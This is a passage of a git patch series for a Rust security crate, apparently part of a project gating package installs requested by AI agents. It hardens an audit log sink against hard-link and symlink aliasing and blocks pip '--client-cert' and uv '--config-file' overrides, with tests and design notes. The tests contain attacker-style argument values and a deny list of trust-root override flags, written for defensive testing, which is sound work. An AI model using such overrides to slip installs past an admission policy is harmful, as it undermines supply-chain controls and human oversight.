fs::set_permissions(&target, fs::Permissions::from_mode(0o600)) + .expect("hard-link target must be owner-only"); + fs::hard_link(&target, &path).expect("audit hard-link fixture must be created"); + + let target_metadata = fs::metadata(&target).expect("target metadata must be readable"); + let audit_metadata = fs::metadata(&path).expect("audit metadata must be readable"); + assert_eq!(target_metadata.ino(), audit_metadata.ino()); + assert!(target_metadata.nlink() > 1); + + let (intent, decision) = sensitive_blocked_attempt(); + let record = build_audit_record(&intent, &decision).expect("audit record must build"); + let sink = FileAuditSink::new(path.clone()); + + assert!( + sink.append(&record).is_err(), + "multiply-linked audit storage must fail closed before mutating the shared inode" + ); + assert_eq!( + fs::read(&target).expect("hard-link target must remain readable"), + original, + "the aliased target must remain byte-identical" + ); + assert_eq!( + fs::read(&path).expect("audit hard link must remain readable"), + original, + "the configured audit path must remain byte-identical" + ); + + let _ = fs::remove_file(path); + let _ = fs::remove_file(target); +} + #[test] fn file_sink_rejects_oversized_serialized_record_without_writing() { let path = temp_path("oversized"); From 8ec36c7034f8eff37f025aab9b2e9cb21cde7286 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 10 Sep 2026 18:07:45 +0900 Subject: [PATCH 281/702] fix(security): reject hard-linked audit storage --- crates/agent-artifact-admission/src/audit.rs | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/crates/agent-artifact-admission/src/audit.rs b/crates/agent-artifact-admission/src/audit.rs index 43c8d7f0..5ef76afb 100644 --- a/crates/agent-artifact-admission/src/audit.rs +++ b/crates/agent-artifact-admission/src/audit.rs @@ -2,7 +2,7 @@ use std::fmt; use std::fs::{File, OpenOptions}; use std::io::{self, Write}; #[cfg(target_os = "linux")] -use std::os::unix::fs::{OpenOptionsExt, PermissionsExt}; +use std::os::unix::fs::{MetadataExt, OpenOptionsExt, PermissionsExt}; use std::path::{Path, PathBuf}; use std::sync::Mutex; use std::time::{SystemTime, UNIX_EPOCH}; @@ -162,10 +162,13 @@ impl FileAuditSink { .custom_flags(LINUX_O_NOFOLLOW | LINUX_O_NONBLOCK) .open(Path::new(&self.path))?; let metadata = file.metadata()?; - if !metadata.is_file() || metadata.permissions().mode() & 0o077 != 0 { + if !metadata.is_file() + || metadata.permissions().mode() & 0o077 != 0 + || metadata.nlink() != 1 + { return Err(io::Error::new( io::ErrorKind::PermissionDenied, - "audit storage must be an owner-only regular file", + "audit storage must be a single-link owner-only regular file", )); } Ok(file) From fb56c93d52c861ca05e62d7f73aa99176ee9fdf1 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 10 Sep 2026 18:08:09 +0900 Subject: [PATCH 282/702] docs(security): trace hard-link audit authority --- ...ent-artifact-admission-audit-hard-links.md | 37 +++++++++++++++++++ 1 file changed, 37 insertions(+) create mode 100644 docs/doctoring/agent-artifact-admission-audit-hard-links.md diff --git a/docs/doctoring/agent-artifact-admission-audit-hard-links.md b/docs/doctoring/agent-artifact-admission-audit-hard-links.md new file mode 100644 index 00000000..73353a7f --- /dev/null +++ b/docs/doctoring/agent-artifact-admission-audit-hard-links.md @@ -0,0 +1,37 @@ +# Agent Artifact Admission audit hard-link authority + +Status: Proposed evidence note for Wardnet issue #258 and PR #259. + +## Problem + +Wardnet's file-backed Agent Artifact Admission audit sink is a security-evidence boundary. Final-symlink refusal, regular-file validation, and owner-only Unix permission bits are necessary but do not distinguish an ordinary pathname from a hard link to another pathname for the same inode. Linux exposes the inode link count through descriptor metadata; a count greater than one proves that the opened file has another hard-link name. + +For this append-only evidence path, accepting a multiply linked inode would let one append through the configured audit pathname mutate the same file visible under another pathname. The relevant invariant is therefore narrower than general filesystem hardening: immediately after Wardnet's existing single secure open, the opened regular file must be owner-only and have exactly one hard link before an audit record is written. + +## Decision + +On Linux, `FileAuditSink::open_append_only` reads metadata from the descriptor returned by the existing `O_NOFOLLOW | O_NONBLOCK | O_APPEND` open and fails closed unless all of the following hold: + +- the descriptor refers to a regular file; +- group and other permission bits are absent (`mode & 0o077 == 0`); +- `st_nlink == 1`. + +The implementation does not `chmod`, unlink, replace, or perform a second pathname lookup to repair externally provisioned storage. This keeps configuration drift observable and avoids adding a pathname preflight as security authority. The existing non-Linux fail-closed behavior remains unchanged because equivalent tested native file-authority semantics have not been established there. + +This decision covers pre-existing hard-link aliasing at the audited open boundary. It does not claim that a link-count observation is a general substitute for directory ownership, mount policy, runtime isolation, or filesystem-specific controls; those remain deployment/runtime concerns outside this Wardnet bounded context. + +## Evidence and traceability + +The hosted RED at exact test-only commit `b992cdb0e3cc42cd48427072373010fcde798a78` ran on Ubuntu 24.04 in CI run `34458676152`, job `102811040900`. Formatting succeeded, the full workspace reached `audit_contract`, and only `file_sink_rejects_hard_linked_owner_only_regular_file` failed. The assertion failed because the current sink accepted the multiply linked owner-only inode and attempted the append. This isolates the missing link-count invariant rather than runner startup, formatting, ordinary append behavior, symlink handling, FIFO handling, or permission-bit enforcement. + +CWE-62 describes insufficient accounting for a UNIX hard link whose name refers to a target outside the intended control sphere. CWE 4.20 is the current CWE release as of this note. Linux `inode(7)` defines `st_nlink`/`stx_nlink` as the number of hard links to a file, and `link(2)` defines creation of an additional hard link to an existing file. NIST SP 800-53 Rev. 5 AU-9 supplies the broader control objective to protect audit information and audit tooling; it does not prescribe the `st_nlink == 1` implementation. The Wardnet invariant is the product-specific mechanism selected to support that objective for this file sink. + +## References + +MITRE. (2026). *CWE-62: UNIX hard link* (CWE List Version 4.20). Common Weakness Enumeration. https://cwe.mitre.org/data/definitions/62.html + +National Institute of Standards and Technology. (2020). *Security and privacy controls for information systems and organizations* (NIST Special Publication 800-53, Revision 5). U.S. Department of Commerce. https://doi.org/10.6028/NIST.SP.800-53r5 + +Kerrisk, M. (Ed.). (2026). *inode(7) — Linux manual page*. Linux man-pages project. https://man7.org/linux/man-pages/man7/inode.7.html + +Kerrisk, M. (Ed.). (2026). *link(2) — Linux manual page*. Linux man-pages project. https://man7.org/linux/man-pages/man2/link.2.html From 8b490db9ba58ff0b7960f1f70c00abc678263afb Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 10 Sep 2026 20:07:36 +0900 Subject: [PATCH 283/702] test(security): reject symlinked audit parent path --- .../tests/audit_contract.rs | 35 +++++++++++++++++++ 1 file changed, 35 insertions(+) diff --git a/crates/agent-artifact-admission/tests/audit_contract.rs b/crates/agent-artifact-admission/tests/audit_contract.rs index 35ef07f0..b927e53f 100644 --- a/crates/agent-artifact-admission/tests/audit_contract.rs +++ b/crates/agent-artifact-admission/tests/audit_contract.rs @@ -184,6 +184,41 @@ fn file_sink_rejects_hard_linked_owner_only_regular_file() { let _ = fs::remove_file(target); } +#[cfg(target_os = "linux")] +#[test] +fn file_sink_rejects_symlinked_parent_directory_without_writing() { + let target_directory = temp_path("parent-symlink-target").with_extension(""); + let configured_root = temp_path("parent-symlink-root").with_extension(""); + let symlinked_parent = configured_root.join("linked"); + fs::create_dir_all(&target_directory).expect("target directory fixture must be created"); + fs::create_dir_all(&configured_root).expect("configured root fixture must be created"); + std::os::unix::fs::symlink(&target_directory, &symlinked_parent) + .expect("parent symlink fixture must be created"); + + let configured_path = symlinked_parent.join("audit.ndjson"); + let resolved_target = target_directory.join("audit.ndjson"); + let (intent, decision) = sensitive_blocked_attempt(); + let record = build_audit_record(&intent, &decision).expect("audit record must build"); + let sink = FileAuditSink::new(configured_path); + + let append_result = sink.append(&record); + let redirected_file_was_created = resolved_target.exists(); + + let _ = fs::remove_file(&resolved_target); + let _ = fs::remove_file(&symlinked_parent); + let _ = fs::remove_dir(&configured_root); + let _ = fs::remove_dir(&target_directory); + + assert!( + append_result.is_err(), + "audit storage must fail closed when any parent path component is a symlink" + ); + assert!( + !redirected_file_was_created, + "audit evidence must not be created through a symlinked parent directory" + ); +} + #[test] fn file_sink_rejects_oversized_serialized_record_without_writing() { let path = temp_path("oversized"); From 0d71d5aa59f7f02f6182d700b80440dffdc8cbee Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 10 Sep 2026 20:20:06 +0900 Subject: [PATCH 284/702] fix(security): pin audit parent directories --- crates/agent-artifact-admission/src/audit.rs | 68 +++++++++++++++++++- 1 file changed, 67 insertions(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/src/audit.rs b/crates/agent-artifact-admission/src/audit.rs index 5ef76afb..4584bf31 100644 --- a/crates/agent-artifact-admission/src/audit.rs +++ b/crates/agent-artifact-admission/src/audit.rs @@ -2,6 +2,8 @@ use std::fmt; use std::fs::{File, OpenOptions}; use std::io::{self, Write}; #[cfg(target_os = "linux")] +use std::os::fd::AsRawFd; +#[cfg(target_os = "linux")] use std::os::unix::fs::{MetadataExt, OpenOptionsExt, PermissionsExt}; use std::path::{Path, PathBuf}; use std::sync::Mutex; @@ -155,12 +157,13 @@ impl FileAuditSink { fn open_append_only(&self) -> io::Result { #[cfg(target_os = "linux")] { + let (parent, file_name) = open_parent_without_symlinks(Path::new(&self.path))?; let file = OpenOptions::new() .create(true) .append(true) .mode(0o600) .custom_flags(LINUX_O_NOFOLLOW | LINUX_O_NONBLOCK) - .open(Path::new(&self.path))?; + .open(proc_fd_child(&parent, file_name))?; let metadata = file.metadata()?; if !metadata.is_file() || metadata.permissions().mode() & 0o077 != 0 @@ -184,6 +187,69 @@ impl FileAuditSink { } } +#[cfg(target_os = "linux")] +fn open_parent_without_symlinks(path: &Path) -> io::Result<(File, &std::ffi::OsStr)> { + let file_name = path.file_name().ok_or_else(|| { + io::Error::new( + io::ErrorKind::InvalidInput, + "audit storage path must name a file", + ) + })?; + let parent_path = path.parent().unwrap_or_else(|| Path::new("")); + let mut directory = open_directory_without_following(if parent_path.is_absolute() { + Path::new("/") + } else { + Path::new(".") + })?; + + for component in parent_path.components() { + use std::path::Component; + match component { + Component::RootDir | Component::CurDir => {} + Component::ParentDir => { + directory = open_directory_without_following(&proc_fd_child( + &directory, + std::ffi::OsStr::new(".."), + ))?; + } + Component::Normal(name) => { + directory = + open_directory_without_following(&proc_fd_child(&directory, name))?; + } + Component::Prefix(_) => { + return Err(io::Error::new( + io::ErrorKind::InvalidInput, + "audit storage path contains an unsupported prefix", + )); + } + } + } + + Ok((directory, file_name)) +} + +#[cfg(target_os = "linux")] +fn open_directory_without_following(path: &Path) -> io::Result { + let directory = OpenOptions::new() + .read(true) + .custom_flags(LINUX_O_NOFOLLOW | LINUX_O_NONBLOCK) + .open(path)?; + if !directory.metadata()?.is_dir() { + return Err(io::Error::new( + io::ErrorKind::NotADirectory, + "audit storage path component must be a directory", + )); + } + Ok(directory) +} + +#[cfg(target_os = "linux")] +fn proc_fd_child(parent: &File, child: &std::ffi::OsStr) -> PathBuf { + PathBuf::from("/proc/self/fd") + .join(parent.as_raw_fd().to_string()) + .join(child) +} + impl AuditSink for FileAuditSink { fn append(&self, record: &AuditRecord) -> Result<(), AuditError> { let encoded = encode_record(record)?; From 6ccfaa41b4d21f5817d755c0a6f412a0199cf5aa Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 10 Sep 2026 20:21:41 +0900 Subject: [PATCH 285/702] style: format audit path repair --- crates/agent-artifact-admission/src/audit.rs | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/crates/agent-artifact-admission/src/audit.rs b/crates/agent-artifact-admission/src/audit.rs index 4584bf31..e58d516d 100644 --- a/crates/agent-artifact-admission/src/audit.rs +++ b/crates/agent-artifact-admission/src/audit.rs @@ -213,8 +213,7 @@ fn open_parent_without_symlinks(path: &Path) -> io::Result<(File, &std::ffi::OsS ))?; } Component::Normal(name) => { - directory = - open_directory_without_following(&proc_fd_child(&directory, name))?; + directory = open_directory_without_following(&proc_fd_child(&directory, name))?; } Component::Prefix(_) => { return Err(io::Error::new( From 9e16a0e5e6cb5aacba019ab49288e4f17c55b64f Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 10 Sep 2026 21:46:00 +0900 Subject: [PATCH 286/702] test(security): prove pip client-cert authority escape --- ...i_client_certificate_authority_contract.rs | 85 +++++++++++++++++++ 1 file changed, 85 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/pypi_client_certificate_authority_contract.rs diff --git a/crates/agent-artifact-admission/tests/pypi_client_certificate_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_client_certificate_authority_contract.rs new file mode 100644 index 00000000..24a31603 --- /dev/null +++ b/crates/agent-artifact-admission/tests/pypi_client_certificate_authority_contract.rs @@ -0,0 +1,85 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, admission_decision, +}; + +const ARTIFACT_DIGEST: &str = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; +const MANIFEST_DIGEST: &str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +const ARTIFACT_ARGUMENT: &str = "cwl-example==1.2.3"; + +#[test] +fn pip_client_certificate_override_cannot_inherit_artifact_approval() { + for executable in ["pip", "pip3"] { + let (policy, mut intent) = approved_pip_install(executable); + intent + .argv + .push("--client-cert=/tmp/attacker-client.pem".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "{executable} must not let an approved artifact authorize a caller-selected TLS client credential" + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "client-certificate authority must be classified explicitly: {:?}", + decision.reason_codes + ); + } +} + +fn approved_pip_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: ARTIFACT_DIGEST.to_string(), + artifact_argument: ARTIFACT_ARGUMENT.to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "pypi-client-certificate-authority".to_string(), + policy_revision: "2026-09-10.1".to_string(), + allowed_executables: vec![executable.to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: MANIFEST_DIGEST.to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: format!("req-pypi-client-cert-{executable}"), + actor_id: "agent:wardnet:admission".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + executable.to_string(), + "install".to_string(), + ARTIFACT_ARGUMENT.to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + ], + manifest_sha256: MANIFEST_DIGEST.to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + + (policy, intent) +} From 8a03a66d3cc5e1667d980eabe87b8ab949bdf4bf Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 10 Sep 2026 21:50:38 +0900 Subject: [PATCH 287/702] fix(security): reject pip client certificate override --- .../src/pypi_client_authentication.rs | 20 +++++++++++++++++++ 1 file changed, 20 insertions(+) create mode 100644 crates/agent-artifact-admission/src/pypi_client_authentication.rs diff --git a/crates/agent-artifact-admission/src/pypi_client_authentication.rs b/crates/agent-artifact-admission/src/pypi_client_authentication.rs new file mode 100644 index 00000000..1a6dede6 --- /dev/null +++ b/crates/agent-artifact-admission/src/pypi_client_authentication.rs @@ -0,0 +1,20 @@ +use crate::InstallIntent; + +/// Return whether a pip install asks the caller to select a TLS client +/// credential outside the reviewed package and manifest authority. +pub(crate) fn requests_client_certificate_override(intent: &InstallIntent) -> bool { + let Some(executable) = intent.argv.first().map(String::as_str) else { + return false; + }; + if !matches!(executable, "pip" | "pip3") { + return false; + } + + let arguments = &intent.argv[1..]; + arguments + .first() + .is_some_and(|argument| argument == "install") + && arguments.iter().any(|argument| { + argument == "--client-cert" || argument.starts_with("--client-cert=") + }) +} From 9a37873df481a418e36e4ead6eb96df82fde594e Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 10 Sep 2026 21:50:57 +0900 Subject: [PATCH 288/702] fix(security): classify pip client authentication authority --- crates/agent-artifact-admission/src/lib.rs | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/crates/agent-artifact-admission/src/lib.rs b/crates/agent-artifact-admission/src/lib.rs index b43de251..21373059 100644 --- a/crates/agent-artifact-admission/src/lib.rs +++ b/crates/agent-artifact-admission/src/lib.rs @@ -10,6 +10,7 @@ mod dependency_cardinality; mod http; mod oci_transport; mod policy; +mod pypi_client_authentication; mod pypi_hash_mode; pub use admission::{ @@ -84,6 +85,15 @@ pub fn admission_decision(policy: &AdmissionPolicy, intent: &InstallIntent) -> A } decision.decision = DecisionKind::Block; } + if pypi_client_authentication::requests_client_certificate_override(intent) { + if !decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot) + { + decision.reason_codes.push(ReasonCode::AlternateTrustRoot); + } + decision.decision = DecisionKind::Block; + } if oci_transport::requests_unapproved_oci_transport_trust(intent) { if !decision .reason_codes From 9f794204d2aa4104ae2ea384f19fa47c5e74dc05 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 10 Sep 2026 21:59:51 +0900 Subject: [PATCH 289/702] style(security): rustfmt pip client authentication guard --- .../src/pypi_client_authentication.rs | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/crates/agent-artifact-admission/src/pypi_client_authentication.rs b/crates/agent-artifact-admission/src/pypi_client_authentication.rs index 1a6dede6..17872843 100644 --- a/crates/agent-artifact-admission/src/pypi_client_authentication.rs +++ b/crates/agent-artifact-admission/src/pypi_client_authentication.rs @@ -14,7 +14,7 @@ pub(crate) fn requests_client_certificate_override(intent: &InstallIntent) -> bo arguments .first() .is_some_and(|argument| argument == "install") - && arguments.iter().any(|argument| { - argument == "--client-cert" || argument.starts_with("--client-cert=") - }) + && arguments + .iter() + .any(|argument| argument == "--client-cert" || argument.starts_with("--client-cert=")) } From 46d39653e891949d3964bd9bf177de86861713d0 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 10 Sep 2026 22:00:54 +0900 Subject: [PATCH 290/702] test(security): cover separate pip client-cert syntax --- ...i_client_certificate_authority_contract.rs | 24 +++++++++++++++++++ 1 file changed, 24 insertions(+) diff --git a/crates/agent-artifact-admission/tests/pypi_client_certificate_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_client_certificate_authority_contract.rs index 24a31603..4096b115 100644 --- a/crates/agent-artifact-admission/tests/pypi_client_certificate_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_client_certificate_authority_contract.rs @@ -32,6 +32,30 @@ fn pip_client_certificate_override_cannot_inherit_artifact_approval() { } } +#[test] +fn pip_separate_client_certificate_value_is_explicitly_classified_as_trust_authority() { + for executable in ["pip", "pip3"] { + let (policy, mut intent) = approved_pip_install(executable); + intent.argv.push("--client-cert".to_string()); + intent.argv.push("/tmp/attacker-client.pem".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "{executable} separate client-certificate syntax must fail closed" + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "separate client-certificate syntax must be classified as trust authority rather than relying only on positional-operand rejection: {:?}", + decision.reason_codes + ); + } +} + fn approved_pip_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { let artifact = ArtifactCoordinate { ecosystem: "pypi".to_string(), From 8c6fd25499a4add753fcd55531e51f51a43e546c Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 10 Sep 2026 22:10:30 +0900 Subject: [PATCH 291/702] refactor(security): keep pip client-cert in canonical trust classifier --- crates/agent-artifact-admission/src/lib.rs | 10 ---------- crates/agent-artifact-admission/src/policy.rs | 1 + .../src/pypi_client_authentication.rs | 20 ------------------- 3 files changed, 1 insertion(+), 30 deletions(-) delete mode 100644 crates/agent-artifact-admission/src/pypi_client_authentication.rs diff --git a/crates/agent-artifact-admission/src/lib.rs b/crates/agent-artifact-admission/src/lib.rs index 21373059..b43de251 100644 --- a/crates/agent-artifact-admission/src/lib.rs +++ b/crates/agent-artifact-admission/src/lib.rs @@ -10,7 +10,6 @@ mod dependency_cardinality; mod http; mod oci_transport; mod policy; -mod pypi_client_authentication; mod pypi_hash_mode; pub use admission::{ @@ -85,15 +84,6 @@ pub fn admission_decision(policy: &AdmissionPolicy, intent: &InstallIntent) -> A } decision.decision = DecisionKind::Block; } - if pypi_client_authentication::requests_client_certificate_override(intent) { - if !decision - .reason_codes - .contains(&ReasonCode::AlternateTrustRoot) - { - decision.reason_codes.push(ReasonCode::AlternateTrustRoot); - } - decision.decision = DecisionKind::Block; - } if oci_transport::requests_unapproved_oci_transport_trust(intent) { if !decision .reason_codes diff --git a/crates/agent-artifact-admission/src/policy.rs b/crates/agent-artifact-admission/src/policy.rs index 4b89e2c4..8d460f90 100644 --- a/crates/agent-artifact-admission/src/policy.rs +++ b/crates/agent-artifact-admission/src/policy.rs @@ -505,6 +505,7 @@ fn requests_alternate_trust_root(executable: &str, arguments: &[String]) -> bool "--ca", "--cafile", "--cert", + "--client-cert", "--strict-ssl", "--git", "--path", diff --git a/crates/agent-artifact-admission/src/pypi_client_authentication.rs b/crates/agent-artifact-admission/src/pypi_client_authentication.rs deleted file mode 100644 index 17872843..00000000 --- a/crates/agent-artifact-admission/src/pypi_client_authentication.rs +++ /dev/null @@ -1,20 +0,0 @@ -use crate::InstallIntent; - -/// Return whether a pip install asks the caller to select a TLS client -/// credential outside the reviewed package and manifest authority. -pub(crate) fn requests_client_certificate_override(intent: &InstallIntent) -> bool { - let Some(executable) = intent.argv.first().map(String::as_str) else { - return false; - }; - if !matches!(executable, "pip" | "pip3") { - return false; - } - - let arguments = &intent.argv[1..]; - arguments - .first() - .is_some_and(|argument| argument == "install") - && arguments - .iter() - .any(|argument| argument == "--client-cert" || argument.starts_with("--client-cert=")) -} From a718e68bd7f13df9d54f5bd85ef7cde781d4827d Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 10 Sep 2026 23:39:22 +0900 Subject: [PATCH 292/702] test(security): expose uv config-file authority escape --- .../uv_config_file_authority_contract.rs | 94 +++++++++++++++++++ 1 file changed, 94 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/uv_config_file_authority_contract.rs diff --git a/crates/agent-artifact-admission/tests/uv_config_file_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_config_file_authority_contract.rs new file mode 100644 index 00000000..a5455f24 --- /dev/null +++ b/crates/agent-artifact-admission/tests/uv_config_file_authority_contract.rs @@ -0,0 +1,94 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, DecisionKind, InstallIntent, ReasonCode, + admission_decision, +}; + +#[test] +fn reviewed_uv_install_without_config_override_remains_admissible() { + let (policy, intent) = approved_uv_install(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow); + assert!(decision.reason_codes.is_empty()); +} + +#[test] +fn uv_attached_config_file_cannot_replace_reviewed_package_authority() { + let (policy, mut intent) = approved_uv_install(); + intent + .argv + .push("--config-file=/tmp/attacker-uv.toml".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "caller-selected uv config can replace index and trust settings: {:?}", + decision.reason_codes + ); +} + +#[test] +fn uv_separate_config_file_value_is_classified_as_trust_authority() { + let (policy, mut intent) = approved_uv_install(); + intent.argv.push("--config-file".to_string()); + intent.argv.push("/tmp/attacker-uv.toml".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "an incidental positional-operand rejection must not hide the config authority: {:?}", + decision.reason_codes + ); +} + +fn approved_uv_install() -> (AdmissionPolicy, InstallIntent) { + let mut intent = InstallIntent::unowned_llms_package_for_test(); + intent.argv = vec![ + "uv".to_string(), + "pip".to_string(), + "install".to_string(), + "example-package==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + ]; + let artifact = intent + .artifacts + .first_mut() + .expect("test helper supplies one artifact"); + artifact.ecosystem = "pypi".to_string(); + artifact.name = "example-package".to_string(); + artifact.version = "1.2.3".to_string(); + artifact.registry_url = "https://pypi.org/simple".to_string(); + artifact.owner = "Example".to_string(); + artifact.artifact_argument = "example-package==1.2.3".to_string(); + + let approved_artifact = ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }; + let policy = AdmissionPolicy { + policy_id: "uv-config-authority".to_string(), + policy_revision: "2026-09-10.1".to_string(), + allowed_executables: vec!["uv".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: intent.workspace_id.clone(), + sha256: intent.manifest_sha256.clone(), + }], + approved_artifacts: vec![approved_artifact], + }; + (policy, intent) +} From c3da4006bcc8519346fe2f30c79fd67b28f21144 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 10 Sep 2026 23:42:27 +0900 Subject: [PATCH 293/702] fix(security): reject uv config-file authority override --- .../src/uv_configuration_authority.rs | 25 +++++++++++++++++++ 1 file changed, 25 insertions(+) create mode 100644 crates/agent-artifact-admission/src/uv_configuration_authority.rs diff --git a/crates/agent-artifact-admission/src/uv_configuration_authority.rs b/crates/agent-artifact-admission/src/uv_configuration_authority.rs new file mode 100644 index 00000000..a1ee930c --- /dev/null +++ b/crates/agent-artifact-admission/src/uv_configuration_authority.rs @@ -0,0 +1,25 @@ +use crate::InstallIntent; + +/// Return whether an approved uv install delegates package-source and trust +/// configuration to a caller-selected configuration file. +pub(crate) fn requests_unapproved_uv_configuration_authority(intent: &InstallIntent) -> bool { + let Some(executable) = intent.argv.first().map(String::as_str) else { + return false; + }; + if executable != "uv" { + return false; + } + + let arguments = &intent.argv[1..]; + if !arguments.first().is_some_and(|argument| argument == "pip") + || !arguments + .get(1) + .is_some_and(|argument| argument == "install") + { + return false; + } + + arguments.iter().skip(2).any(|argument| { + argument == "--config-file" || argument.starts_with("--config-file=") + }) +} From e448037d7cbab194b500c8fc6e2b913be19253a8 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 10 Sep 2026 23:42:46 +0900 Subject: [PATCH 294/702] fix(security): enforce uv config authority boundary --- crates/agent-artifact-admission/src/lib.rs | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/crates/agent-artifact-admission/src/lib.rs b/crates/agent-artifact-admission/src/lib.rs index b43de251..f403e2af 100644 --- a/crates/agent-artifact-admission/src/lib.rs +++ b/crates/agent-artifact-admission/src/lib.rs @@ -11,6 +11,7 @@ mod http; mod oci_transport; mod policy; mod pypi_hash_mode; +mod uv_configuration_authority; pub use admission::{ AdmissionDecision, AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, @@ -84,6 +85,15 @@ pub fn admission_decision(policy: &AdmissionPolicy, intent: &InstallIntent) -> A } decision.decision = DecisionKind::Block; } + if uv_configuration_authority::requests_unapproved_uv_configuration_authority(intent) { + if !decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot) + { + decision.reason_codes.push(ReasonCode::AlternateTrustRoot); + } + decision.decision = DecisionKind::Block; + } if oci_transport::requests_unapproved_oci_transport_trust(intent) { if !decision .reason_codes From 73742f4864450412b98b342885b7d1c769d5f2b7 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 10 Sep 2026 23:48:04 +0900 Subject: [PATCH 295/702] style(security): match rustfmt for uv config guard --- .../src/uv_configuration_authority.rs | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/crates/agent-artifact-admission/src/uv_configuration_authority.rs b/crates/agent-artifact-admission/src/uv_configuration_authority.rs index a1ee930c..34f0475e 100644 --- a/crates/agent-artifact-admission/src/uv_configuration_authority.rs +++ b/crates/agent-artifact-admission/src/uv_configuration_authority.rs @@ -19,7 +19,8 @@ pub(crate) fn requests_unapproved_uv_configuration_authority(intent: &InstallInt return false; } - arguments.iter().skip(2).any(|argument| { - argument == "--config-file" || argument.starts_with("--config-file=") - }) + arguments + .iter() + .skip(2) + .any(|argument| argument == "--config-file" || argument.starts_with("--config-file=")) } From cd8c1b3c18e2aa8c159fe2b8bd06589d8b0cb8fb Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 10 Sep 2026 23:49:40 +0900 Subject: [PATCH 296/702] docs(security): trace uv config authority decision --- docs/doctoring/uv-configuration-authority.md | 45 ++++++++++++++++++++ 1 file changed, 45 insertions(+) create mode 100644 docs/doctoring/uv-configuration-authority.md diff --git a/docs/doctoring/uv-configuration-authority.md b/docs/doctoring/uv-configuration-authority.md new file mode 100644 index 00000000..df19400f --- /dev/null +++ b/docs/doctoring/uv-configuration-authority.md @@ -0,0 +1,45 @@ +# uv configuration authority + +## Problem and security boundary + +Wardnet Agent Artifact Admission binds an approved PyPI request to reviewed package coordinates, registry/index identity, digest, dependency cardinality and selected installer safety controls before any executor runs. `uv pip install` also accepts `--config-file `, which 